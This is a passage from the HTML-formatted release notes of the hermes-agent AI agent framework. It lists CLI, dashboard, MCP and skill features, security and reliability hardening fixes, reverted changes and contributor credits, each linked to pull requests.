<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
